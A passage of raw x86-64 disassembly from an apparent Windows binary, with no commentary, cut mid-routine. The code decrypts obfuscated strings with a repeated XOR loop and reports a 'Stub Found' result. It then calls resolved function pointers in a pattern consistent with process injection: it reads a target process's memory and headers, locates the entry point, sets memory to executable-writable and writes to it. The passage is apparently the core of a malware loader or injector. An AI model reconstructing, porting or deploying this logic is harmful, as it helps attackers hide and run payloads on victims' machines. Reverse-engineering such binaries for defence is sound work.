mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x0052c6c9]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2a50]
lea rdx, [rbp + 0x2a70]
lea r8, [0x0052c6d3]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2a30]
lea rdx, [rbp + 0x2a50]
lea r8, [0x0052c6c3]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2a10]
lea rdx, [rbp + 0x2a30]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x29f0]
lea rdx, [rbp + 0x2a10]
lea r8, [0x0052c67b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x29d0]
lea rdx, [rbp + 0x29f0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x29b0]
lea rdx, [rbp + 0x29d0]
lea r8, [0x0052c683]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2990]
lea rdx, [rbp + 0x29b0]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2970]
lea rdx, [rbp + 0x2990]
lea r8, [0x0052c6c5]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x2970]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x2970]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2990]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x29b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x29d0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x29f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2a10]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2a30]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2b30]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2b50]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2b70]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2b90]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2bbf]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x2bc0]
mov rcx, qword [rbp + 0x3218]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x408e79
lea rsi, [0x0052c68f]
jmp 0x408e80
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
call fcn.004017e5
test eax, eax
setne al
test al, al
je 0x408f0c
lea rax, [rbp + 0x2bf0]
lea rdx, [rbp + 0x2bef]
mov rcx, rax
call fcn.004020ee
mov rax, qword [rbp + 0x2bf0]
mov rdx, qword [rbp + 0x2bf8]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2c00]
mov rdx, qword [rbp + 0x2c08]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.00421bc0
mov ebx, 0
mov esi, 0
jmp 0x40a1d5
lea rax, [rbp + 0x2c20]
lea rdx, [rbp + 0x2c1f]
mov rcx, rax
call fcn.00402200
mov rax, qword [rbp + 0x2c20]
mov rdx, qword [rbp + 0x2c28]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov eax, dword [rbp + 0x2c30]
mov dword [rbp + 0x20], eax
movzx eax, word [rbp + 0x2c34]
mov word [rbp + 0x24], ax
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.00421a00
lea rcx, [0x004bc020]
call fcn.00401f5d
mov dword [rbp + 0x31d0], 0xffffffff
cmp dword [rbp + 0x31d0], 0
jne 0x408f83
lea rcx, [0x0052c6dd]
call fcn.00401540
lea rax, [rbp + 0x2c43]
lea rdx, [rbp + 0x2c50]
mov rcx, rax
call fcn.004022c2
lea rax, [rbp + 0x2c43]
mov qword [rbp + 0x3170], rax
mov rax, qword [rbp + 0x3170]
mov qword [rbp + 0x3168], rax
mov rax, qword [rbp + 0x3168]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x409061
mov rax, qword [rbp + 0x3170]
mov rdx, qword [rbp + 0x3170]
mov qword [rbp + 0x3160], rdx
mov qword [rbp + 0x3158], rax
mov dword [rbp + 0x3154], 0
cmp dword [rbp + 0x3154], 0xc
jg 0x409060
mov eax, dword [rbp + 0x3154]
movsxd rdx, eax
mov rax, qword [rbp + 0x3158]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x3154]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x33
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x3160]
mov eax, dword [rbp + 0x3154]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x3154], 1
jmp 0x408ff3
nop
lea rax, [rbp + 0x2c43]
mov rcx, rax
call fcn.00401a49
mov qword [rbp + 0x31c8], rax
cmp qword [rbp + 0x31c8], 0xffffffffffffffff
jne 0x409090
mov ebx, 0
mov esi, 0
jmp 0x40a1d5
lea rax, [rbp + 0x2c51]
lea rdx, [rbp + 0x2c5e]
mov rcx, rax
call fcn.0040233c
lea rax, [rbp + 0x2c51]
mov qword [rbp + 0x3148], rax
mov rax, qword [rbp + 0x3148]
mov qword [rbp + 0x3140], rax
mov rax, qword [rbp + 0x3140]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x40916e
mov rax, qword [rbp + 0x3148]
mov rdx, qword [rbp + 0x3148]
mov qword [rbp + 0x3138], rdx
mov qword [rbp + 0x3130], rax
mov dword [rbp + 0x312c], 0
cmp dword [rbp + 0x312c], 0xc
jg 0x40916d
mov eax, dword [rbp + 0x312c]
movsxd rdx, eax
mov rax, qword [rbp + 0x3130]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x312c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x33
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x3138]
mov eax, dword [rbp + 0x312c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x312c], 1
jmp 0x409100
nop
lea rdx, [rbp + 0x2c51]
lea rax, [rbp + 0x320]
mov rcx, qword [rbp + 0x31c8]
mov r8, rcx
mov rcx, rax
call fcn.00401bfa
mov rax, qword [rbp + 0x320]
cmp rax, 0xffffffffffffffff
je 0x4091a8
mov rax, qword [rbp + 0x328]
cmp rax, 0xffffffffffffffff
jne 0x4091b7
mov ebx, 0
mov esi, 0
jmp 0x40a1d5
mov rax, qword [rbp + 0x320]
mov qword [rbp + 0x31c0], rax
mov rax, qword [rbp + 0x328]
mov qword [rbp + 0x31b8], rax
mov r10, qword [0x00558078]
lea rcx, [rbp + 0x2f0]
mov rax, qword [rbp + 0x31c0]
lea rdx, [rbp + 0x2ec]
mov qword [rsp + 0x20], rdx
mov r9d, 0x30
mov r8, rcx
mov edx, 0
mov rcx, rax
call r10
mov dword [rbp + 0x31d0], eax
cmp dword [rbp + 0x31d0], 0
je 0x4092bd
lea rax, [rbp + 0x2c60]
lea rdx, [rbp + 0x2c5f]
mov rcx, rax
call fcn.004023b6
mov rax, qword [rbp + 0x2c60]
mov rdx, qword [rbp + 0x2c68]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c70]
mov rdx, qword [rbp + 0x2c78]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c80]
mov rdx, qword [rbp + 0x2c88]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2c90]
mov rdx, qword [rbp + 0x2c98]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov eax, dword [rbp + 0x2ca0]
mov dword [rbp], eax
movzx eax, byte [rbp + 0x2ca4]
mov byte [rbp + 4], al
mov edx, dword [rbp + 0x31d0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00422120
mov ebx, 0
mov esi, 0
jmp 0x40a1d5
lea rax, [rbp + 0x2cb0]
lea rdx, [rbp + 0x2caf]
mov rcx, rax
call fcn.004025f0
mov rax, qword [rbp + 0x2cb0]
mov rdx, qword [rbp + 0x2cb8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2cc0]
mov rdx, qword [rbp + 0x2cc8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2cd8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2ce8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, word [rbp + 0x2cf0]
mov word [rbp], ax
movzx eax, byte [rbp + 0x2cf2]
mov byte [rbp + 2], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00422040
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x31b0], rax
mov rax, qword [rbp + 0x31b0]
add rax, 0x10
mov qword [rbp + 0x31a8], rax
mov rax, qword [rbp + 0x31a8]
mov qword [rbp + 0x31a0], rax
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0x2cfd]
mov rcx, rax
call fcn.0040281a
mov r8, qword [rbp + 0x2f8]
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x3120], rax
mov rax, qword [rbp + 0x3120]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x409451
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0x2d0]
mov qword [rbp + 0x3118], rdx
mov qword [rbp + 0x3110], rax
mov dword [rbp + 0x310c], 0
cmp dword [rbp + 0x310c], 0x13
jg 0x409450
mov eax, dword [rbp + 0x310c]
movsxd rdx, eax
mov rax, qword [rbp + 0x3110]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x310c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x33
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x3118]
mov eax, dword [rbp + 0x310c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x310c], 1
jmp 0x4093e3
nop
lea rax, [rbp + 0x2d0]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x3108], 0
cmp dword [rbp + 0x3108], 0x13
jg 0x409493
mov eax, dword [rbp + 0x3108]
cdqe
mov byte [rbp + rax + 0x2d0], 0
add dword [rbp + 0x3108], 1
jmp 0x409471
nop
lea rax, [rbp + 0x2b0]
lea rdx, [rbp + 0x2cfe]
mov rcx, rax
call fcn.004028cc
lea rax, [rbp + 0x2b0]
mov qword [rbp + 0x3100], rax
mov rax, qword [rbp + 0x3100]
movzx eax, byte [rax + 0x15]
test al, al
setne al
test al, al
je 0x409564
lea rax, [rbp + 0x2b0]
lea rdx, [rbp + 0x2b0]
mov qword [rbp + 0x30f8], rdx
mov qword [rbp + 0x30f0], rax
mov dword [rbp + 0x30ec], 0
cmp dword [rbp + 0x30ec], 0x15
jg 0x409563
mov eax, dword [rbp + 0x30ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x30f0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x30ec]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x33
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x30f8]
mov eax, dword [rbp + 0x30ec]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x30ec], 1
jmp 0x4094f6
nop
lea rax, [rbp + 0x2b0]
mov rdx, qword [rbp + 0x31a0]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x30e8], 0
cmp dword [rbp + 0x30e8], 0x15
jg 0x4095b0
mov eax, dword [rbp + 0x30e8]
cdqe
mov byte [rbp + rax + 0x2b0], 0
add dword [rbp + 0x30e8], 1
jmp 0x40958e
nop
mov r10, qword [0x00558080]
lea r8, [rbp + 0x2a8]
mov rdx, qword [rbp + 0x31a0]
mov rax, qword [rbp + 0x31c0]
lea rcx, [rbp + 0x98]
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
call r10
mov dword [rbp + 0x31d0], eax
cmp dword [rbp + 0x31d0], 0
je 0x409691
lea rax, [rbp + 0x2d00]
lea rdx, [rbp + 0x2cff]
mov rcx, rax
call fcn.0040298e
mov rax, qword [rbp + 0x2d00]
mov rdx, qword [rbp + 0x2d08]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2d10]
mov rdx, qword [rbp + 0x2d18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rbp + 0x2d28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2d30]
mov rdx, qword [rbp + 0x2d38]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, byte [rbp + 0x2d40]
mov byte [rbp], al
mov edx, dword [rbp + 0x31d0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00421f50
mov ebx, 0
mov esi, 0
jmp 0x40a1d5
lea rax, [rbp + 0x2d50]
lea rdx, [rbp + 0x2d4f]
mov rcx, rax
call fcn.00402ba8
mov rax, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d58]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2d60]
mov rdx, qword [rbp + 0x2d68]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2d70]
mov rdx, qword [rbp + 0x2d78]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2d80]
mov qword [rbp - 0x10], rax
movzx eax, word [rbp + 0x2d88]
mov word [rbp - 8], ax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00421e70
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0x2d8e]
mov rcx, rax
call fcn.00402d8a
mov r8, qword [rbp + 0x2a8]
lea rax, [rbp + 0x80]
mov qword [rbp + 0x30e0], rax
mov rax, qword [rbp + 0x30e0]
movzx eax, byte [rax + 0x12]
test al, al
setne al
test al, al
je 0x4097e2
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0x80]
mov qword [rbp + 0x30d8], rdx
mov qword [rbp + 0x30d0], rax
mov dword [rbp + 0x30cc], 0
cmp dword [rbp + 0x30cc], 0x12
jg 0x4097e1
mov eax, dword [rbp + 0x30cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x30d0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x30cc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x33
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x30d8]
mov eax, dword [rbp + 0x30cc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x30cc], 1
jmp 0x409774
nop
lea rax, [rbp + 0x80]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x30c8], 0
cmp dword [rbp + 0x30c8], 0x12
jg 0x409824
mov eax, dword [rbp + 0x30c8]
cdqe
mov byte [rbp + rax + 0x80], 0
add dword [rbp + 0x30c8], 1
jmp 0x409802
nop
mov rax, qword [rbp + 0x2a8]
mov qword [rbp + 0x3198], rax
mov r10, qword [0x00558080]
lea r8, [rbp + 0xa0]
mov rdx, qword [rbp + 0x3198]
mov rax, qword [rbp + 0x31c0]
lea rcx, [rbp + 0x98]
mov qword [rsp + 0x20], rcx
mov r9d, 0x201
mov rcx, rax
call r10
mov dword [rbp + 0x31d0], eax
cmp dword [rbp + 0x31d0], 0
je 0x409a30
lea rax, [rbp + 0x2d90]
lea rdx, [rbp + 0x2d8f]
mov rcx, rax
call fcn.00402e34
mov rax, qword [rbp + 0x2d90]
mov rdx, qword [rbp + 0x2d98]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2da0]
mov rdx, qword [rbp + 0x2da8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2db0]
mov rdx, qword [rbp + 0x2db8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2dc0]
mov rdx, qword [rbp + 0x2dc8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2dd0]
mov rdx, qword [rbp + 0x2dd8]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov eax, dword [rbp + 0x2de0]
mov dword [rbp + 0x10], eax
mov edx, dword [rbp + 0x31d0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00422780
lea rax, [rbp + 0x3f]
lea rdx, [rbp + 0x2dee]
mov rcx, rax
call fcn.004030e6
mov r8, qword [rbp + 0x98]
lea rax, [rbp + 0x3f]
mov qword [rbp + 0x30c0], rax
mov rax, qword [rbp + 0x30c0]
movzx eax, byte [rax + 8]
test al, al
setne al
test al, al
je 0x4099e4
lea rax, [rbp + 0x3f]
lea rdx, [rbp + 0x3f]
mov qword [rbp + 0x30b8], rdx
mov qword [rbp + 0x30b0], rax
mov dword [rbp + 0x30ac], 0
cmp dword [rbp + 0x30ac], 8
jg 0x4099e3
mov eax, dword [rbp + 0x30ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x30b0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x30ac]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x33
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x30b8]
mov eax, dword [rbp + 0x30ac]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x30ac], 1
jmp 0x409976
nop
lea rax, [rbp + 0x3f]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x30a8], 0
cmp dword [rbp + 0x30a8], 8
jg 0x409a20
mov eax, dword [rbp + 0x30a8]
cdqe
mov byte [rbp + rax + 0x3f], 0
add dword [rbp + 0x30a8], 1
jmp 0x409a01
nop
mov ebx, 0
mov esi, 0
jmp 0x40a1d5
lea rax, [rbp + 0x2df0]
lea rdx, [rbp + 0x2def]
mov rcx, rax
call fcn.00403140
mov rax, qword [rbp + 0x2df0]
mov rdx, qword [rbp + 0x2df8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2e00]
mov rdx, qword [rbp + 0x2e08]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2e10]
mov rdx, qword [rbp + 0x2e18]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2e20]
mov rdx, qword [rbp + 0x2e28]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2e30]
mov qword [rbp], rax
mov eax, dword [rbp + 0x2e38]
mov dword [rbp + 8], eax
movzx eax, byte [rbp + 0x2e3c]
mov byte [rbp + 0xc], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004225c0
mov eax, dword [rbp + 0xdc]
mov dword [rbp + 0x3194], eax
mov eax, dword [rbp + 0x3194]
add eax, 0x28
mov dword [rbp + 0x3190], eax
mov eax, dword [rbp + 0x3190]
lea rdx, [rbp + 0xa0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x318c], eax
mov rax, qword [rbp + 0x3198]
mov qword [rbp + 0x3180], rax
mov edx, dword [rbp + 0x318c]
mov rax, qword [rbp + 0x3180]
add rax, rdx
mov qword [rbp + 0x3178], rax
mov rax, qword [rbp + 0x3178]
mov qword [rbp + 0x78], rax
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x2e3e]
mov rcx, rax
call fcn.004033ba
mov r8, qword [rbp + 0x78]
lea rax, [rbp + 0x60]
mov qword [rbp + 0x30a0], rax
mov rax, qword [rbp + 0x30a0]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x409bf3
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x60]
mov qword [rbp + 0x3098], rdx
mov qword [rbp + 0x3090], rax
mov dword [rbp + 0x308c], 0
cmp dword [rbp + 0x308c], 0x13
jg 0x409bf2
mov eax, dword [rbp + 0x308c]
movsxd rdx, eax
mov rax, qword [rbp + 0x3090]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x308c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x33
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x3098]
mov eax, dword [rbp + 0x308c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x308c], 1
jmp 0x409b85
nop
lea rax, [rbp + 0x60]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x3088], 0
cmp dword [rbp + 0x3088], 0x13
jg 0x409c2f
mov eax, dword [rbp + 0x3088]
cdqe
mov byte [rbp + rax + 0x60], 0
add dword [rbp + 0x3088], 1
jmp 0x409c10
nop
mov rax, qword [0x00528ba8]
mov qword [rbp + 0x48], rax
mov r10, qword [0x00558058]
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0x78]
mov rax, qword [rbp + 0x31c0]
lea rcx, [rbp + 0x5c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov rcx, rax
call r10
mov dword [rbp + 0x31d0], eax
cmp dword [rbp + 0x31d0], 0
je 0x409d13
lea rax, [rbp + 0x2e40]
lea rdx, [rbp + 0x2e3f]
mov rcx, rax
call fcn.0040346c
mov rax, qword [rbp + 0x2e40]
mov rdx, qword [rbp + 0x2e48]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2e50]
mov rdx, qword [rbp + 0x2e58]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2e60]
mov rdx, qword [rbp + 0x2e68]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2e70]
mov rdx, qword [rbp + 0x2e78]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2e80]
mov qword [rbp], rax
mov edx, dword [rbp + 0x31d0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00422210
mov ebx, 0
mov esi, 0
jmp 0x40a1d5
lea rax, [rbp + 0x2e90]
lea rdx, [rbp + 0x2e8f]
mov rcx, rax
call fcn.004036be
mov rax, qword [rbp + 0x2e90]
mov rdx, qword [rbp + 0x2e98]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2ea0]
mov rdx, qword [rbp + 0x2ea8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2eb8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2ec0]
mov rdx, qword [rbp + 0x2ec8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2ed0]
mov qword [rbp], rax
movzx eax, word [rbp + 0x2ed8]
mov word [rbp + 8], ax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00422300
mov r10, qword [0x00558050]
mov r9, qword [0x00528ba8]
mov r8, qword [0x00558040]
mov rdx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x31c0]
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x31d0], eax
cmp dword [rbp + 0x31d0], 0
je 0x409e88
lea rax, [rbp + 0x2ee0]
lea rdx, [rbp + 0x2edf]
mov rcx, rax
call fcn.00403920
mov rax, qword [rbp + 0x2ee0]
mov rdx, qword [rbp + 0x2ee8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2ef0]
mov rdx, qword [rbp + 0x2ef8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2f00]
mov rdx, qword [rbp + 0x2f08]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2f10]
mov rdx, qword [rbp + 0x2f18]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2f20]
mov qword [rbp], rax
mov eax, dword [rbp + 0x2f28]
mov dword [rbp + 8], eax
mov edx, dword [rbp + 0x31d0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004224d0
mov ebx, 0
mov esi, 0
jmp 0x40a1d5
lea rax, [rbp + 0x2f30]
lea rdx, [rbp + 0x2f2f]
mov rcx, rax
call fcn.00403b92
mov rax, qword [rbp + 0x2f30]
mov rdx, qword [rbp + 0x2f38]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2f40]
mov rdx, qword [rbp + 0x2f48]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2f50]
mov rdx, qword [rbp + 0x2f58]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2f60]
mov rdx, qword [rbp + 0x2f68]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2f70]
mov qword [rbp], rax
mov eax, dword [rbp + 0x2f78]
mov dword [rbp + 8], eax
movzx eax, word [rbp + 0x2f7c]
mov word [rbp + 0xc], ax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004226a0
mov r10, qword [0x00558058]
mov r9d, dword [rbp + 0x5c]
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0x78]
mov rax, qword [rbp + 0x31c0]
lea rcx, [rbp + 0x2ec]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x31d0], eax
cmp dword [rbp + 0x31d0], 0
je 0x40a00f
lea rax, [rbp + 0x2f80]
lea rdx, [rbp + 0x2f7f]
mov rcx, rax
call fcn.00403e14
mov rax, qword [rbp + 0x2f80]
mov rdx, qword [rbp + 0x2f88]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2f90]
mov rdx, qword [rbp + 0x2f98]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2fa0]
mov rdx, qword [rbp + 0x2fa8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2fb0]
mov rdx, qword [rbp + 0x2fb8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
